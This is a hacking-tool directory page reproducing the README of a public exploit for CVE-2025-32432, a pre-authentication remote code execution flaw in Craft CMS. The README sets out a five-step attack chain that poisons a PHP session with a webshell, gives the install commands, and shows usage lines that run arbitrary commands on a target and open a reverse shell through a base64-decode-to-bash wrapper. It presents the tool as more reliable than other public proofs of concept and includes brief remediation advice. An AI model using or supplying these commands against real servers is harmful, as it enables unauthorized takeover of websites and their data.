Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32432-exploit-by-P34NUT — Reliable CVE-2025-32432 pre-auth RCE exploit for Craft CMS 3.x/4.x/5.x, works where other public PoCs fail | Kitploit
Tools/GitHubGitHub/p34nut2/cve-2025-32432-exploit-by-p34nut
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationWeb SecurityPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubp34nut2/cve-2025-32432-exploit-by-p34nut

CVE-2025-32432-exploit-by-P34NUT

Reliable CVE-2025-32432 pre-auth RCE exploit for Craft CMS 3.x/4.x/5.x, works where other public PoCs fail

View Repository
72920 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-32432 — Craft CMS Pre-Auth RCE Exploit

Author: P34NUT2
Vulnerability: Remote Code Execution (Pre-Authenticated) in Craft CMS
CVE: CVE-2025-32432
Target: Any vulnerable Craft CMS instance (3.x / 4.x / 5.x) — tested on Hack The Box: Orion


⚠️ Disclaimer

This tool is provided strictly for educational purposes and authorized penetration testing within controlled environments such as Hack The Box, TryHackMe, or private lab setups you own or have explicit written permission to test.

Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal under the Computer Fraud and Abuse Act (CFAA), the EU Directive on Attacks Against Information Systems, and equivalent laws in most jurisdictions worldwide.

The author assumes no responsibility or liability for any misuse, damage, or legal consequences resulting from the use of this software. Use responsibly and ethically.


💡 Motivation & Background

Most public PoCs for CVE-2025-32432 fail against real-world targets like HTB: Orion due to:

  • Improper URL parameter encoding
  • Broken handling of special characters (&, >, <)
  • Session file truncation during the PHP session poisoning phase

This exploit was built from scratch to solve those reliability issues. It properly handles URL encoding, automates dynamic token extraction, and uses Base64 wrapper pipelines to achieve reliable execution against any vulnerable Craft CMS instance — validated against real deployments and proven on HTB Orion.


🔗 Technical Exploitation Chain

StepActionDescription
1Session & CSRF AcquisitionExtracts CraftSessionId, CRAFT_CSRF_TOKEN, and dynamic CSRF_TOKEN from the admin endpoint
2Asset ID DiscoveryBrute-forces valid asset IDs required for the transform generation payload
3Session Path LeakageInjects a Guzzle object to trigger phpinfo() and read session.save_path dynamically
4Session PoisoningInjects a URL-encoded PHP webshell payload into the active session file
5RCE TriggerUnserializes the poisoned session to execute arbitrary system commands

📦 Installation

git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt

🚀 Usage

Arguments

FlagLong OptionRequiredDescription
-u--url✅ YesTarget base URL (e.g. http://example.com)
-c--cmd✅ YesCommand to execute on the remote target
-a--asset❌ NoKnown valid Asset ID (speeds up execution)
-s--scan-max❌ NoMax Asset ID brute-force range (Default: 300)

Examples

1. Basic Command Execution

python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"

2. With a Known Asset ID (faster)

python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"

3. Encoded Payload (Recommended for Special Characters)

To prevent special characters from being altered by HTTP parsers or truncated during session handling, encode your command in Base64 before passing it:

# Step 1 — encode your command locally
echo -n "YOUR_COMMAND_HERE" | base64

# Step 2 — pass the encoded string through the script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"

4. Reverse Shell via Base64 Wrapper

python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"

🛡️ Remediation

If you are a system administrator or developer running Craft CMS, apply the following mitigations:

  • Update Craft CMS to the latest patched release (≥ 5.6.17 / ≥ 4.14.14).
  • Restrict access to administrative action endpoints (/actions/*) via firewall rules or middleware.
  • Harden PHP session directories — ensure they are not writable by untrusted web processes.
  • Monitor for anomalous deserialization activity in application and web server logs.

📄 License

This project is licensed for educational and authorized testing use only. See LICENSE for details.

Download Tool